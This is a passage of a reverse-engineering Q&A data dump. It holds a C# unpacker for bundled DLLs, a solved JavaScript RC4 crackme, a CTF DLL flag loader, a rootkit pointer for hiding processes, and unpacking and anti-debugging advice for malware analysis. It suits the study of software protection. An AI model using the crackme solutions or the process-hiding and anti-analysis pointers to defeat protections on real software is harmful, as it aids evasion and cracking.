dlls&#xA;            if(!name.EndsWith(&quot;.dll&quot;))&#xA;                break;&#xA;&#xA;            packedFiles.Add(name);&#xA;            addr += (uint)name.Length + 1u;&#xA;            ++dllCount;&#xA;        }&#xA;&#xA;&#xA;        var data = elf.Header.SectionHeaders.FirstOrDefault(x =&amp;gt; x.Name.Equals(&quot;.data&quot;));&#xA;        if(data == null)&#xA;        {&#xA;            Console.WriteLine(&quot;.data not found&quot;);&#xA;            Console.ReadKey();&#xA;            return;&#xA;        }&#xA;&#xA;        int ixGzip = 0;&#xA;&#xA;        //Read in all the packed file pointers and sizes and then decompress and dump them&#xA;        addr = (uint)(data.Offset);&#xA;        for(int i = 0; i &amp;lt; packedFiles.Count; )&#xA;        {&#xA;            ixGzip = findNextGZIPIndex(bytes, ixGzip);&#xA;            if(ixGzip &amp;gt; 0)&#xA;            {&#xA;                var ptr = ixGzip;&#xA;                var length = GetBigEndianUInt32(bytes, addr + 8);&#xA;&#xA;                var compressedbytes = new byte[length];&#xA;                if(ptr + length &amp;lt;= bytes.LongLength)&#xA;                {&#xA;                    Array.Copy(bytes, ptr, compressedbytes, 0, length);&#xA;                    try&#xA;                    {&#xA;                        var decompbytes = Decompress(compressedbytes);&#xA;                        File.WriteAllBytes($@&quot;{unpacked}\{packedFiles[i]}&quot;, decompbytes);&#xA;                        addr += 0x10; //sizeof assembly_bundle struct&#xA;                        i++;&#xA;                    }&#xA;                    catch(Exception e)&#xA;                    {&#xA;                        Console.WriteLine($&quot;Failed to decompress file: {packedFiles[i]} {e}&quot;);&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    private static int findNextGZIPIndex(byte[] bytes, int ixGzip)&#xA;    {&#xA;        for(int j = ixGzip + 2; j &amp;lt; bytes.Length; j++)&#xA;        {&#xA;            if(bytes[j - 1] == 0x1f &amp;amp;&amp;amp; bytes[j] == 0x8b)&#xA;            {&#xA;                ixGzip = j - 1;&#xA;                return ixGzip;&#xA;            }&#xA;        }&#xA;&#xA;        return 0;&#xA;    }&#xA;&#xA;    static byte[] Decompress(byte[] data)&#xA;    {&#xA;        using(var compressedStream = new MemoryStream(data))&#xA;        using(var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))&#xA;        using(var resultStream = new MemoryStream())&#xA;        {&#xA;            zipStream.CopyTo(resultStream);&#xA;            return resultStream.ToArray();&#xA;        }&#xA;    }&#xA;&#xA;    public static uint GetBigEndianUInt32(byte[] bytes, uint address)&#xA;    {&#xA;        uint byte1 = (uint)bytes[(int)address + 3] &amp;lt;&amp;lt; 24;&#xA;        uint byte2 = (uint)bytes[(int)address + 2] &amp;lt;&amp;lt; 16;&#xA;        uint byte3 = (uint)bytes[(int)address + 1] &amp;lt;&amp;lt; 8;&#xA;        uint byte4 = (uint)bytes[(int)address];&#xA;        return (byte1 + byte2 + byte3 + byte4);&#xA;    }&#xA;&#xA;    public static string GetString(byte[] bytes, uint address)&#xA;    {&#xA;        int maxLength = 255;&#xA;        //Search for a null char up to the limit&#xA;        for(int i = (int)address; i &amp;lt; address + maxLength; i++)&#xA;        {&#xA;            if(bytes[i] == 0)&#xA;            {&#xA;                maxLength = i - (int)address;&#xA;                break;&#xA;            }&#xA;        }&#xA;&#xA;        var buffer = new byte[maxLength];&#xA;        Array.Copy(bytes, address, buffer, 0, maxLength);&#xA;        return Encoding.ASCII.GetString(buffer);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22069" LastEditorUserId="12521" LastEditDate="2018-01-29T19:27:11.903" LastActivityDate="2018-01-29T19:27:11.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16632" PostTypeId="2" ParentId="16627" CreationDate="2017-10-26T08:36:31.577" Score="3" Body="&lt;p&gt;You have to write a rootkit for this purpose. Look at this two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/landhb/HideProcess&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/landhb/HideProcess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/167583/Driver-to-Hide-Processes-and-Files-Second-Edition&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.codeproject.com/Articles/167583/Driver-to-Hide-Processes-and-Files-Second-Edition&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22023" LastActivityDate="2017-10-26T08:36:31.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16634" PostTypeId="1" AcceptedAnswerId="16642" CreationDate="2017-10-26T10:39:44.653" Score="1" ViewCount="545" Body="&lt;p&gt;This crackme contains a text input element on the screen and a button to validate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value you enter is set into &lt;strong&gt;_inputValue&lt;/strong&gt;, afterwards you click on a button, the function executes, in the last lines, if &lt;strong&gt;selectedOption&lt;/strong&gt; is 2 it will print &quot;Congratz&quot; otherwise there are 5 bad options in the &lt;strong&gt;optionsArr&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after unpacking and cleaning the main function is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Password: &amp;lt;input/&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;button&amp;gt;Check&amp;lt;/button&amp;gt;&#xA;&amp;lt;script id=&quot;urchin&quot;&amp;gt;&#xA;    (function () {&#xA;        var optionsArr = [&#xA;            function () {&#xA;                console.warn(&quot;boo&quot;)&#xA;            },&#xA;            function () {&#xA;                console.warn(&quot;:(&quot;)&#xA;            },&#xA;            function () {&#xA;                console.log(&quot;Congratz!&quot;)&#xA;            },&#xA;            function () {&#xA;                console.warn(&quot;allmost there&quot;)&#xA;            },&#xA;            function () {&#xA;                console.warn(&quot;muhaha&quot;)&#xA;            },&#xA;            function () {&#xA;                console.warn(&quot;nahhh&quot;)&#xA;            },&#xA;            function () {&#xA;                console.warn(&quot;not even close&quot;)&#xA;            }&#xA;        ];&#xA;        var mainFunction = function () {&#xA;            var arr = [];&#xA;            for (var i = 0; i &amp;lt; 256; i++) {&#xA;                arr[i] = i;&#xA;            }&#xA;            var inputVal = document.getElementsByTagName('input')[0].value;&#xA;            var varX = 0;&#xA;//            for (var i2 = 0; i2 &amp;lt; 256; i2++) {&#xA;//                var secret = 'click';&#xA;//                varX = (varX + arr[i2] + secret.charCodeAt(i2 % 5)) % 256;&#xA;//                arr[i2] ^= arr[varX];&#xA;//                arr[varX] ^= arr[i2];&#xA;//                arr[i2] ^= arr[varX];&#xA;//            }&#xA;            arr = [99, 116, 115, 37, 16, 120, 211, 90, 197, 22, 166, 63, 146, 59, 123, 237, 93, 44, 76, 118, 168, 91, 55, 187, 62, 220, 135, 49, 127, 185, 153, 8, 66, 155, 152, 181, 117, 149, 31, 87, 169, 6, 172, 34, 101, 134, 107, 157, 199, 231, 124, 2, 243, 35, 241, 139, 68, 3, 159, 86, 77, 225, 105, 29, 144, 19, 32, 42, 227, 147, 133, 15, 160, 73, 190, 148, 82, 97, 170, 201, 212, 14, 18, 13, 193, 121, 143, 141, 182, 122, 21, 108, 112, 111, 217, 60, 250, 27, 137, 244, 191, 38, 171, 214, 248, 132, 228, 43, 232, 213, 223, 129, 28, 64, 247, 205, 138, 95, 202, 235, 61, 119, 224, 88, 238, 206, 230, 94, 195, 5, 179, 54, 72, 92, 136, 98, 188, 200, 173, 226, 198, 4, 71, 196, 126, 9, 69, 110, 84, 48, 85, 210, 30, 180, 229, 216, 162, 56, 75, 0, 67, 253, 163, 167, 53, 26, 7, 12, 174, 57, 130, 194, 209, 165, 1, 140, 183, 70, 23, 89, 150, 25, 145, 104, 233, 74, 142, 151, 222, 65, 207, 96, 154, 218, 106, 131, 255, 109, 254, 33, 113, 164, 203, 40, 246, 83, 192, 236, 189, 78, 158, 234, 177, 175, 161, 251, 100, 221, 219, 103, 50, 41, 242, 10, 249, 240, 20, 184, 24, 80, 52, 51, 81, 11, 156, 245, 114, 239, 186, 125, 17, 204, 128, 47, 36, 39, 215, 208, 46, 176, 178, 58, 45, 102, 252, 79];&#xA;            var idx = varX = 0;&#xA;            var cmpStr = '';&#xA;            for (var i3 = idx; i3 &amp;lt; inputVal.length; i3 += 2) {&#xA;                idx = (idx + 1) % 256;&#xA;                varX = (varX + arr[idx]) % 256;&#xA;                arr[idx] ^= arr[varX];&#xA;                arr[varX] ^= arr[idx];&#xA;                arr[idx] ^= arr[varX];&#xA;                var curHex = inputVal.substr(i3, 2);&#xA;                var hex2int = parseInt(curHex, 16);&#xA;                var charCode = hex2int ^ arr[(arr[idx] + arr[varX]) % 256];&#xA;                cmpStr += String.fromCharCode(charCode);&#xA;            }&#xA;            var selectedOption = cmpStr.charCodeAt(cmpStr.charCodeAt(0) % cmpStr.length) % 6;&#xA;&#xA;            if (cmpStr != 'input128' &amp;amp;&amp;amp; selectedOption == 2) selectedOption++;&#xA;            optionsArr[selectedOption]();&#xA;        };&#xA;        var btn = document.getElementsByTagName('button')[0];&#xA;        if (typeof(btn.addEventListener) != typeof(mainFunction)) {&#xA;            btn.attachEvent('onclick', mainFunction);&#xA;        } else {&#xA;            btn.addEventListener('click', mainFunction, true);&#xA;        }&#xA;        btn = document.getElementById('urchin');&#xA;        btn.parentNode.removeChild(btn);&#xA;    })();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand my input after decrypt needs to be &quot;input128&quot;, how can I reverse the process to encrypt &quot;input128&quot; ? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTW, It's using rc4 encryption  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2017-10-26T10:51:52.947" LastActivityDate="2017-10-27T09:52:49.593" Title="reverse javascript crackme encryption method algorithm" Tags="|obfuscation|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16635" PostTypeId="2" ParentId="16627" CreationDate="2017-10-26T14:53:46.120" Score="0" Body="&lt;p&gt;If you are trying to hide Procmon from another process, and you control the environment, say in an analysis lab, it may be sufficient just to hook the victim processes methods for obtaining a process list and feed it an incomplete process list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to do it would be to hexedit the method that looks for procmon such that it always returns false. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rootkit idea above works too, but it might be overkill depending on your situation. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2017-10-26T14:53:46.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16636" PostTypeId="2" ParentId="16624" CreationDate="2017-10-26T15:34:37.317" Score="4" Body="&lt;p&gt;Once you have patched the malformed bytes to make the patched DLL proper, you can use something like &lt;a href=&quot;https://gist.github.com/sudhackar/4f6b72092b88d4b11996475c679486de&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; to call the &lt;code&gt;GetFlag&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;typedef DWORD (__cdecl *_GetFlag)();&#xA;_GetFlag GetFlag;&#xA;HMODULE hDll = NULL;&#xA;&#xA;NTSTATUS main(int argc, char **argv) {&#xA;    hDll = LoadLibrary(&quot;my_head_flew_away_patched.dll&quot;);&#xA;    GetFlag = (_GetFlag)GetProcAddress(hDll, &quot;GetFlag&quot;);&#xA;    GetFlag();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="15181" LastEditDate="2018-07-01T14:05:05.900" LastActivityDate="2018-07-01T14:05:05.900" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16637" PostTypeId="2" ParentId="16634" CreationDate="2017-10-26T15:54:49.667" Score="1" Body="&lt;p&gt;RC4 is a Symmetric Key algorithm. So give &quot;input128&quot; as your input. Then debug the code to see what it generates after applying the algorithm on &quot;input128&quot;. That would be the original input you have to gave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Symmetric Key Algorithms:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;plaintext + key = ciphertext&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ciphertext + key = plaintext&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="22023" LastActivityDate="2017-10-26T15:54:49.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16638" PostTypeId="1" CreationDate="2017-10-26T17:53:11.577" Score="2" ViewCount="703" Body="&lt;p&gt;Hello I am trying to obtain the music from the new game Animal Crossing: Pocket Camp. The music is contained in files like these:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://download-cdn-ac-pocketcamp.akamaized.net/assets/c8nZd_d233535a9244b7238bb423cb4f3f1c6e7dccf686_dena/compass/Android/3c1c9e59/f3c14602/25238ae2/1899ac8d.zdat&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://download-cdn-ac-pocketcamp.akamaized.net/assets/c8nZd_d233535a9244b7238bb423cb4f3f1c6e7dccf686_dena/compass/Android/3c1c9e59/f3c14602/25238ae2/1899ac8d.zdat&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They seem to be split up and saved locally, like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://mega.nz/#!Xk9wzByB!5WtbQQtBFdQtId0AgJWQx2vIQuj5XUBAL9CD4b3t34Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!Xk9wzByB!5WtbQQtBFdQtId0AgJWQx2vIQuj5XUBAL9CD4b3t34Y&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although the split up files contain no header, you can see the FSB5 headers inside both, which means they contain music. Although no program I've tested knows how to extract or convert these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files do not look encrypted. But cutting out the FSB's do not produce anything valid. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="21918" LastActivityDate="2018-05-14T17:56:10.963" Title="Animal Crossing: Pocket Camp .zdat File" Tags="|android|file-format|unpacking|decryption|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16639" PostTypeId="2" ParentId="16588" CreationDate="2017-10-26T18:59:15.007" Score="2" Body="&lt;p&gt;If you are debugging a newer version of Windows (Windows 8 or higher I believe). You should checkout network based debugging. Works like a charm. No third party dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just open up a cmd prompt as admin and type:&#xA;&lt;code&gt;&#xA;bcdedit /debug on&#xA;bcdedit /dbgsettings net hostip:w.x.y.z port:n&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN docs&lt;/a&gt; for more info&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2017-10-26T18:59:15.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16640" PostTypeId="2" ParentId="16638" CreationDate="2017-10-26T22:33:54.063" Score="5" Body="&lt;p&gt;The file does not appear to be obfuscated or encrypted in any way. The header appears to be trivial. I have included a description of the header for the &lt;code&gt;.zdata&lt;/code&gt; you posted. The &lt;code&gt;.unity3d&lt;/code&gt; files contained within are the typical Unit3d webpack files. You can google around for a depacker for those, there are several.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IfaR9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IfaR9.png&quot; alt=&quot;example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12091" LastActivityDate="2017-10-26T22:33:54.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16641" PostTypeId="2" ParentId="16625" CreationDate="2017-10-27T06:46:41.190" Score="3" Body="&lt;p&gt;Local variables labeling is not yet supported by &lt;em&gt;x64dbg&lt;/em&gt; and as far as I know there's no plugin to achieve that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can still label a specific memory address. You can do this by selecting the address and press &lt;kbd&gt;:&lt;/kbd&gt;, or right click it and select &lt;em&gt;Label &gt;&gt; Label Current Address&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want this functionality you can ask for it on the &lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg's Github repository&lt;/a&gt; or even implement it by yourself.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-10-27T06:46:41.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16642" PostTypeId="2" ParentId="16634" CreationDate="2017-10-27T09:52:49.593" Score="4" Body="&lt;p&gt;To extend on &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/22023/ewd-0&quot;&gt;EWD-0-&lt;/a&gt; about the reversibility of RC4 here's how I tried it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your actual code and reversing it a little to get &quot;input128&quot; encoded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arr = [99, 116, 115, 37, 16, 120, 211, 90, 197, 22, 166, 63, 146, 59, 123, 237, 93, 44, 76, 118, 168, 91, 55, 187, 62, 220, 135, 49, 127, 185, 153, 8, 66, 155, 152, 181, 117, 149, 31, 87, 169, 6, 172, 34, 101, 134, 107, 157, 199, 231, 124, 2, 243, 35, 241, 139, 68, 3, 159, 86, 77, 225, 105, 29, 144, 19, 32, 42, 227, 147, 133, 15, 160, 73, 190, 148, 82, 97, 170, 201, 212, 14, 18, 13, 193, 121, 143, 141, 182, 122, 21, 108, 112, 111, 217, 60, 250, 27, 137, 244, 191, 38, 171, 214, 248, 132, 228, 43, 232, 213, 223, 129, 28, 64, 247, 205, 138, 95, 202, 235, 61, 119, 224, 88, 238, 206, 230, 94, 195, 5, 179, 54, 72, 92, 136, 98, 188, 200, 173, 226, 198, 4, 71, 196, 126, 9, 69, 110, 84, 48, 85, 210, 30, 180, 229, 216, 162, 56, 75, 0, 67, 253, 163, 167, 53, 26, 7, 12, 174, 57, 130, 194, 209, 165, 1, 140, 183, 70, 23, 89, 150, 25, 145, 104, 233, 74, 142, 151, 222, 65, 207, 96, 154, 218, 106, 131, 255, 109, 254, 33, 113, 164, 203, 40, 246, 83, 192, 236, 189, 78, 158, 234, 177, 175, 161, 251, 100, 221, 219, 103, 50, 41, 242, 10, 249, 240, 20, 184, 24, 80, 52, 51, 81, 11, 156, 245, 114, 239, 186, 125, 17, 204, 128, 47, 36, 39, 215, 208, 46, 176, 178, 58, 45, 102, 252, 79];&#xA;var idx = varX = 0;&#xA;var cmpStr = '';&#xA;for (var i3 = idx; i3 &amp;lt; 'input128'.length; i3 += 1) {&#xA;  idx = (idx + 1) % 256;&#xA;  varX = (varX + arr[idx]) % 256;&#xA;  arr[idx] ^= arr[varX];&#xA;  arr[varX] ^= arr[idx];&#xA;  arr[idx] ^= arr[varX];&#xA;&#xA;  var hex2int = 'input128'.charCodeAt(i3);&#xA;  var charCode = hex2int ^ arr[(arr[idx] + arr[varX]) % 256];&#xA;&#xA;  cmpStr += charCode.toString(16)+&quot; &quot;;&#xA;}&#xA;console.log(cmpStr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main difference in the loop is running by step of 1 by char, and taking each character code to xor with the corresponding key value. It is then encoded in hex as your original code does read hex values (the loop run by step of 2) to get character code (&lt;code&gt;curHex&lt;/code&gt; then &lt;code&gt;hex2int&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This give me: &lt;code&gt;95 69 18 b1 82 8 c1 59&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to add a &lt;code&gt;0&lt;/code&gt; to the 6th entry and remove the spaces to fill &lt;code&gt;inputValue&lt;/code&gt; and you'll get back 'input128' in &lt;code&gt;cmpStr&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15034" LastActivityDate="2017-10-27T09:52:49.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16643" PostTypeId="2" ParentId="16600" CreationDate="2017-10-27T15:51:10.210" Score="5" Body="&lt;p&gt;Start by placing a breakpoint on the entrypoint itself, which is probably not in the .text section at all, but in another section entirely.  You will see that the program resolves its own imports dynamically, probably by searching within kernel32.dll for LoadLibrary and GetProcAddress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By tracing through the top layer, you will also find when the decryption is complete and the transfer of control occurs to the decrypted code.  If you dump the file at that moment, and then disassemble the result, you might be able to see the cause of the crash - it is likely to be anti-debugging mechanisms, of which there are too many possibilities to list here (but see &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://pferrie.host22.com/papers/antidebug.pdf&lt;/a&gt; for a selection of commonly-used ones).&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-10-27T15:51:10.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16644" PostTypeId="2" ParentId="16600" CreationDate="2017-10-27T19:16:52.837" Score="2" Body="&lt;p&gt;Thanks everyone who responded. The IAT was the problem. The OEP I found was the real OEP pointing to the unpacked code. But the dumped executable was not runnable because IAT was corrupt. After Fixing IAT in Scylla. It is now runnable.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2017-10-27T19:16:52.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16645" PostTypeId="1" CreationDate="2017-10-28T12:14:42.640" Score="2" ViewCount="70" Body="&lt;p&gt;i'd like to improve support for Atari ST in IDA.&#xA;To do this, I'd like to know if there is a way to handle trap #1 (gemDos), trap #2 (gem), trap #13 (bios) and trap #14 (xbios)  used this way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOVE.W #3, (-SP)&#xA;TRAP #13 ; call Bconout (bios func 3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to auto detect the function number put on the stak before a trap call ? and so add the right comment ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some plugins do it on request only (ex: press CTRL+SHIFT+T to launch the detect), it'll be a valid option if automatic detection isn't possible/accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any hint !&lt;/p&gt;&#xA;" OwnerUserId="22086" LastActivityDate="2017-10-28T12:14:42.640" Title="IDA : trap call" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16646" PostTypeId="1" CreationDate="2017-10-28T12:34:43.733" Score="1" ViewCount="226" Body="&lt;p&gt;I'm  analyzing a .so file that is a part of an android application.&#xA;I've stumbled upon this block of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:0001B63C sub_1B63C                               ; CODE XREF: sub_1B628+Cp&#xA;LOAD:0001B63C                 PUSH            {R0-R6,LR}&#xA;LOAD:0001B63E                 PUSH            {R0-R6,LR}&#xA;LOAD:0001B640                 MOVS            R6, #4&#xA;LOAD:0001B642                 MOVS            R1, #2&#xA;LOAD:0001B644                 MOV             R0, SP&#xA;LOAD:0001B646                 ADDS            R0, #0x10&#xA;LOAD:0001B648                 MOVS            R6, #2&#xA;LOAD:0001B64A                 ADDS            R0, #8&#xA;LOAD:0001B64C                 ADDS            R1, R0, #4&#xA;LOAD:0001B64E                 MOV             SP, R1&#xA;LOAD:0001B650                 ADRL            R6, (sub_1B66C+1)&#xA;LOAD:0001B654                 MOVS            R1, #2&#xA;LOAD:0001B656                 ADDS            R6, #0x18&#xA;LOAD:0001B658                 ADDS            R6, R6, R1&#xA;LOAD:0001B65A                 STR             R6, [R0,#0x24]&#xA;LOAD:0001B65C                 POP             {R6}&#xA;LOAD:0001B65E                 B               sub_1B66C&#xA;LOAD:0001B65E ; End of function sub_1B63C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for reference, sub_1B63C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:0001B66C sub_1B66C                               ; CODE XREF: sub_1B63C+22p&#xA;LOAD:0001B66C                                         ; DATA XREF: sub_1B63C+14o&#xA;LOAD:0001B66C                 MOVS            R0, R0&#xA;LOAD:0001B66E                 POP             {R0-R6,PC}&#xA;LOAD:0001B66E ; End of function sub_1B66C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, why would IDA mark this as the end of the function and how do I force it to acknowledge the instructions after that as part of the function? &lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2017-10-28T12:34:43.733" Title="Why does IDA mark this as end of function?" Tags="|ida|arm|functions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16648" PostTypeId="1" AcceptedAnswerId="16650" CreationDate="2017-10-28T17:24:39.477" Score="3" ViewCount="1796" Body="&lt;p&gt;I have a malware sample that wraps &lt;code&gt;LoadLibrary&lt;/code&gt; &amp;amp; &lt;code&gt;GetProcAddress&lt;/code&gt; duo to dynamically resolve functions. After this wrapper is called the value stored in &lt;code&gt;eax&lt;/code&gt;(which is the function name)immediately gets called. The strings are encrypted and it's too difficult for me to reverse the encryption algorithm. Instead I wrote a python script which sets breakpoints where a &lt;code&gt;call eax&lt;/code&gt; instruction is mentioned. Everyting's fine, I get the addresses of the functions from &lt;code&gt;eax&lt;/code&gt; that are dynamically imported. The problem is I need them to be readable. I know how to resolve the address to a function name in widbg by calling &lt;code&gt;ln address&lt;/code&gt;. But I don't want to sit all day and copy all of the 649 imports one by one to the &lt;code&gt;windbg&lt;/code&gt; console. I looked up the &lt;code&gt;windbg&lt;/code&gt;'s scripting capabilities but I could not write anything that would do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2017-10-29T03:47:43.270" Title="Resolve Addresses To Function Names" Tags="|ida|malware|idapython|windbg|dynamic-linking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16649" PostTypeId="1" AcceptedAnswerId="16703" CreationDate="2017-10-28T17:47:42.033" Score="1" ViewCount="819" Body="&lt;p&gt;I'm trying to analyze a .so file that is ran on android.&#xA;Loading the file into IDA I'm unable to spot the JNI_onLoad.&#xA;So I dumped the .so to memory and I'm still unable to spot the JNI_onLoad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the strings window, I could see a string &quot;JNI_onLoad&quot;, but it's not referenced anywhere.&#xA;The library should also contain JNI native methods, but I'm unable to find any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, where is JNI_onLoad? Must there be a JNI_onLoad? and how does the calling java class know where to find it's native functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the exports that IDA lists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name    Address  Ordinal&#xA;----    -------  -------&#xA;       0008A044        &#xA;/linker 0008A064        &#xA;       0008B098        &#xA;ס      0008AFCC        &#xA;       0008A990        &#xA;       0008A16C        &#xA;r      0008A43C        &#xA;       0008A464        &#xA;ƒ      0008A4B8        &#xA;       0008A784        &#xA;       0008A988        &#xA;       0008AB24        &#xA;       0008AB4C        &#xA;      0008AED0        &#xA;.      0008AED8        &#xA;       0008AEE0        &#xA;       0008AF44        &#xA;       0008AF7C        &#xA;h      0008AF90        &#xA;       0008B07C        &#xA;       0008C808        &#xA;       0008C85C        &#xA;       0008C0E8        &#xA;       0008B5E4        &#xA;}      0008B5EC        &#xA;       0008B690        &#xA;       0008C2D8        &#xA;       0008C0C0        &#xA;      0008C12C        &#xA;ט      0008C184        &#xA;פ      0008C0A4        &#xA;½      0008C198        &#xA;       0008C1BC        &#xA;|       0008C1E0        &#xA;       0008C228        &#xA;_«     0008C660        &#xA;       0008C6B0        &#xA;       0008C6CC        &#xA;»      0008C6D4        &#xA;נ»     0008C6DC        &#xA;_»     0008C6E4        &#xA;»      0008C6EC        &#xA;_      0008C774        &#xA;       0008C790        &#xA;       0008C7A4        &#xA;_      0008C7CC        &#xA;ר_     0008C7E0        &#xA;       0008CAE8        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2017-11-03T16:26:48.540" Title="JNI_onLoad not presented in .so (Android)" Tags="|android|shared-object|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
